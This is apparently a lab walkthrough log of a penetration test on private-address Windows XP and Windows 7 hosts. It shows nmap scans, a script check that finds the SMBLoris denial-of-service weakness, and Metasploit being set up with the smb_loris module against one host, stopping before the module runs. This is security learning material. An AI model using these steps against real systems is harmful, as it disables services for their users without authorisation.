$ nmap -A 192.168.85.129 Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-05 20:06 CST Nmap scan report for 192.168.85.129 Host is up (0.36s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 72.21 seconds
$ nmap -A 192.168.85.131 Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-05 20:15 CST Nmap scan report for 192.168.85.131 Host is up (0.0090s latency). Not shown: 986 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 554/tcp open rtsp? 2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=WIN-FCFV8BPF54U | Not valid before: 2022-03-03T17:44:03 |_Not valid after: 2022-09-02T17:44:03 |_ssl-date: 2022-03-05T12:18:57+00:00; 0s from scanner time. 7070/tcp open ssl/realserver? | ssl-cert: Subject: commonName=AnyDesk Client | Not valid before: 2020-09-12T17:39:21 |_Not valid after: 2070-08-31T17:39:21 |_ssl-date: TLS randomness does not represent time 10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC Service Info: Host: WIN-FCFV8BPF54U; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 197.37 seconds
$ nmap -sV --script /home/susu/smb-smbloris.nse 192.168.85.129 Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-05 14:38 CST Nmap scan report for 192.168.85.129 Host is up (0.0036s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results: | smb-smbloris: | VULNERABLE: | Denial of service attack against Microsoft Windows SMB servers (SMBLoris) | State: VULNERABLE | Risk factor: HIGH CVSSv3: 8.2 (HIGH) (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:F/RL:W/RC:C) | All modern versions of Windows, at least from Windows 2000 through Windows 10, are vulnerable to a remote and uncredentialed denial of service attack. The attacker can allocate large amounts of memory remotely by sending a payload from multiple sockets from unique sockets, rendering vulnerable machines completely unusable. | | Disclosure date: 2017-08-1 | References: |_ http://smbloris.com/
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 192.63 seconds
msf6 auxiliary(dos/smb/smb_loris) > search smbloris
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/smb/smb_loris 2017-06-29 normal No SMBLoris NBSS Denial of Service
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/smb/smb_loris
use 與 設定選項
msf6 auxiliary(dos/smb/smb_loris) > use 0
msf6 auxiliary(dos/smb/smb_loris) > options
Module options (auxiliary/dos/smb/smb_loris):
Name Current Setting Required Description
---- --------------- -------- -----------
rhost 192.168.85.131 yes The target address
rport 445 yes SMB port on the target
msf6 auxiliary(dos/smb/smb_loris) > set rhost 192.168.85.131
rhost => 192.168.85.131
